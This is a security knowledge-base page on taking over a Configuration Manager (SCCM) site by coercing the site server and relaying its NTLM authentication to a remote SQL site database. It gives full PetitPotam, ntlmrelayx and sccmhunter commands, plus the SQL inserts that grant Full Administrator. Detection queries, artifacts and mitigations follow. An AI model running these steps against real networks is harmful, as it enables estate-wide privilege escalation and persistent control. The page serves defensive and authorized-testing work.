How it works
A Configuration Manager site stores everything in a SQL Server database named CM_<site code>: devices, deployments, and also the list of administrators with their security roles and scopes. Role-based administration is enforced by the SMS Provider when someone uses the console or its APIs. A direct SQL connection goes through a different authorization decision: SQL Server's own.
The primary site server works on that database with its Active Directory computer account, and the account has owner-level rights in it. The same is true for a server that hosts the SMS Provider role and for a passive site server. When the database lives on a separate host, those machines authenticate to it over the network with Windows authentication.
That creates a relay path with three parts:
- Coerce. Any domain user can make a Windows server authenticate to a host of their choice through RPC interfaces such as MS-EFSR (PetitPotam). The server connects with its computer account. See authentication coercion.
- Relay. The attacker forwards that NTLM exchange to SQL Server on the site database host. By default SQL Server does not use Extended Protection for Authentication, so it cannot tell that the exchange was started for a different service.
- Write. As the site server's login, the attacker inserts rows into
RBAC_AdminsandRBAC_ExtendedPermissionsthat give a domain account of their choice the Full Administrator role over all scopes and collections.
The variants differ only in which machine is coerced: the primary site server (including a central administration site server), a remote SMS Provider, or a passive site server. Anything whose computer account has the database rights works.
The site server's machine account is useful beyond SQL. It is a local administrator on every site system, so the same coerced authentication can be relayed to SMB on a remote SMS Provider, a management point or a passive site server where SMB signing is not required. A management point's own computer account also has a database login, with a narrower role that covers what a management point serves to clients; relaying that account gives read access to policy, including the policies that carry deployment secrets, without making anyone an administrator.
The site server's authentication can also be obtained without an RPC coercion bug, through client push installation.
Prerequisites
- Valid domain credentials.
- The site database hosted on a different server than the machine being coerced.
- Network access from the attacker to SMB (TCP 445) on the coercion target, from the coercion target back to the attacker on TCP 445, and from the attacker to SQL Server (TCP 1433) on the database host.
- NTLM allowed for the coerced machine account: outgoing NTLM not blocked on the server, the computer account not in Protected Users, NTLM not restricted in the domain.
- Extended Protection for Authentication not enforced on the SQL Server instance. This is the default.
- The site code, which is published in Active Directory and visible to any domain user.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Find the site systems
python3 sccmhunter.py find -u alice -p 'Password1!' -d corp.example.com -dc-ip 192.0.2.10
The output names the site servers, management points and the site code. The database host is often named in the same way or found by scanning the site's servers for TCP 1433.
2. Prepare the SQL
sccmhunter resolves the SID of the account to promote and prints the statements, as a single stacked query when asked:
python3 sccmhunter.py mssql -u alice -p 'Password1!' -d corp.example.com -dc-ip 192.0.2.10 -tu alice -sc PS1 -stacked
The statements add the account as an administrator and assign the Full Administrator role (SMS0001R) for the "All" scope and the built-in collections:
USE CM_PS1;
INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite)
VALUES (0x<hex SID of alice>,'CORP\alice',0,0,'','','','','PS1');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'CORP\alice'),'SMS0001R','SMS00ALL','29');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'CORP\alice'),'SMS0001R','SMS00001','1');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'CORP\alice'),'SMS0001R','SMS00004','1');
On Windows, SharpSCCM.exe local user-sid prints the current user's SID in the form the query needs.
3. Start the relay
Point ntlmrelayx at the database host and give it the stacked query to run on a successful relay:
ntlmrelayx.py -smb2support -ts -ip 192.0.2.50 -t mssql://192.0.2.40 -q "USE CM_PS1; INSERT INTO RBAC_Admins ... ;"
4. Coerce the site server
python3 PetitPotam.py -d corp.example.com -u alice -p 'Password1!' 192.0.2.50 192.0.2.30
The first address is the relay host, the second the site server. A few seconds later the relay reports the result:
[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.0.2.30, attacking target mssql://192.0.2.40
[*] Authenticating against mssql://192.0.2.40 as CORP/SCCM01$ SUCCEED
[*] Executing SQL: USE CM_PS1; INSERT INTO RBAC_Admins ...
5. Confirm and use the role
Query an SMS Provider to confirm that the account is now an administrator:
python3 sccmhunter.py admin -u alice -p 'Password1!' -ip 192.0.2.31
# in the sccmhunter shell
show_admins
.\SharpSCCM.exe get class-instances SMS_Admin -sms sccm01.corp.example.com -sc PS1 -p LogonName -p RoleNames
From here the attacker runs code on managed devices. See SCCM application deployment.
Impact
Full Administrator has every permission in Configuration Manager for all scopes and all collections. The holder can run a program or script as SYSTEM on any online client, run it as the signed-in user, query devices in real time, and read the secrets the site distributes. Every managed workstation and server is reachable in one step, which makes this both privilege escalation and lateral movement at the scale of the estate.
In a multi-site hierarchy the database content replicates, so an administrator added at one primary site becomes an administrator of the hierarchy. If domain controllers, certificate authorities or administrator workstations are managed by the site, control of Configuration Manager is control of the domain.
The inserted row is also persistence: it survives password changes of every account involved in the relay.
OPSEC and artifacts
- No code runs on the site server or the database host. The attack is two network connections and four SQL statements. There is no service, no file and no process to find.
- The administrator row has empty audit columns. The inserted record has blank
CreatedByandCreatedDatevalues, unlike an administrator added through the console. It is visible to every other administrator in the console under Administrative Users. - The SMS Admins group changes. The site adds new administrators to the local
SMS Adminsgroup on each SMS Provider. That produces event 4732 on those servers shortly after the insert. - The database logon comes from the wrong address. On the database host, event 4624 shows a network logon by the site server's computer account with the NTLM package and the relay host's IP address as the source.
- The coercion is visible on the site server as a connection to the
lsarpcorefsrpcnamed pipe from the attacker's address (event 5145 with detailed file share auditing), followed by an outbound SMB connection from the site server to a host it has no business with.
Detection
- Site server account from a non-site-server address. On the database host, and on every site system, a network logon by a site server's computer account must come from that site server. Any other source address is a relay. The NTLM relay rules implement the general check; the query below narrows it to the site database.
- NTLM where Kerberos is normal. Site servers reach their database with Kerberos when service principal names are registered correctly. An NTLM logon by the site server account stands out in NTLM audit event 8004 and in the logon event's authentication package.
- Changes to SMS Admins. Alert on additions to the local
SMS Adminsgroup on SMS Providers that do not match a change ticket. - Audit the RBAC tables. A SQL Server Audit specification on
RBAC_AdminsandRBAC_ExtendedPermissionsfor INSERT, UPDATE and DELETE records the statement and the login as event 33205 in the database server's Application log. - Coercion attempts against site servers, covered by the authentication coercion rules.
// NTLM network logons to the site database host by a site system's computer account
// Compare IpAddress with the address of the machine that owns the account
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4624 and LogonType == 3
| where Computer startswith "SQL01" and TargetUserName =~ "SCCM01$"
| where AuthenticationPackageName =~ "NTLM"
| project TimeGenerated, Computer, TargetDomainName, TargetUserName,
IpAddress, AuthenticationPackageName, TargetLogonId
A SQL host accepts network logons for services other than SQL, and network address translation can change the apparent source, so confirm a hit against the SQL audit and the SMS Admins change before calling it a relay.
Mitigation
- Enforce Extended Protection for Authentication on the site database. Set Extended Protection to Required on the SQL Server instance, with connection encryption, after testing every site system that connects to it. This is the control that makes the relayed exchange fail.
- Require SMB signing on all site systems, so the site server's authentication cannot be relayed to SMB on an SMS Provider, a passive site server or a management point instead. The SMB signing guide covers the settings.
- Restrict network access to site systems. Allow TCP 1433 on the database host only from the site servers, SMS Providers and management points that need it, and allow SMB to site servers only from administration networks.
- Close the coercion paths. Patch, filter the RPC interfaces used for coercion where possible, and block outbound SMB from site servers to anything that is not a site system or a client range. The CVE-2025-33073 analysis shows why relay bugs keep coming back.
- Reduce NTLM for site server accounts. Where the environment supports it, restrict outgoing NTLM on site servers so a coerced connection cannot fall back to it.
- Treat site systems as Tier 0. A site that manages domain controllers has the domain's privileges. Either manage Tier 0 assets from a separate site, or protect the site servers, database and administrators like domain controllers. The SCCM CVE-2026-47301 write-up describes another route to the site server that the same isolation limits.
- Review Administrative Users regularly, and require multifactor authentication for SMS Provider access so that a role alone is not enough to use it.
Detection rules for this attack
Log events to collect
FAQ
Why does relaying the site server to SQL Server give control of SCCM?
Configuration Manager keeps its administrators, roles and scopes in tables of the site database, and the site server's computer account has full rights in that database. Whoever can run SQL as the site server can add a row that makes any domain account a Full Administrator. The site reads the table and treats the account as an administrator.
Does this attack work when SQL Server runs on the site server itself?
Not in this form. Windows does not let a machine relay NTLM authentication back to itself, so the technique needs the site database on a different host than the coerced server. Other relay targets, such as SMB on a remote SMS Provider or another site system, apply in that case.
What stops NTLM relay to the SCCM site database?
Extended Protection for Authentication on the SQL Server instance, which binds the authentication to the TLS channel and the service name so a relayed exchange is rejected. Restricting who can connect to TCP 1433 on the database server and preventing coercion of the site server shrink the exposure further.
What can a Configuration Manager Full Administrator do?
Deploy applications and scripts that run as SYSTEM on any managed device, query devices in real time, read deployment secrets, and change the site's own settings. When domain controllers or administrator workstations run the client, that is a path to the whole domain.
References
- Connect to the Database Engine using Extended Protection (Microsoft Learn)
- Accounts used in Configuration Manager (Microsoft Learn)
- Plan for the SMS Provider (Microsoft Learn)
- Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay, T1557.001 (MITRE ATT&CK)
- Forced Authentication, T1187 (MITRE ATT&CK)
- Misconfiguration Manager: TAKEOVER-1, hierarchy takeover via NTLM coercion and relay to MSSQL on remote site database
- SCCM Site Takeover via Automatic Client Push Installation (Chris Thompson, SpecterOps)
- sccmhunter wiki: mssql module
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.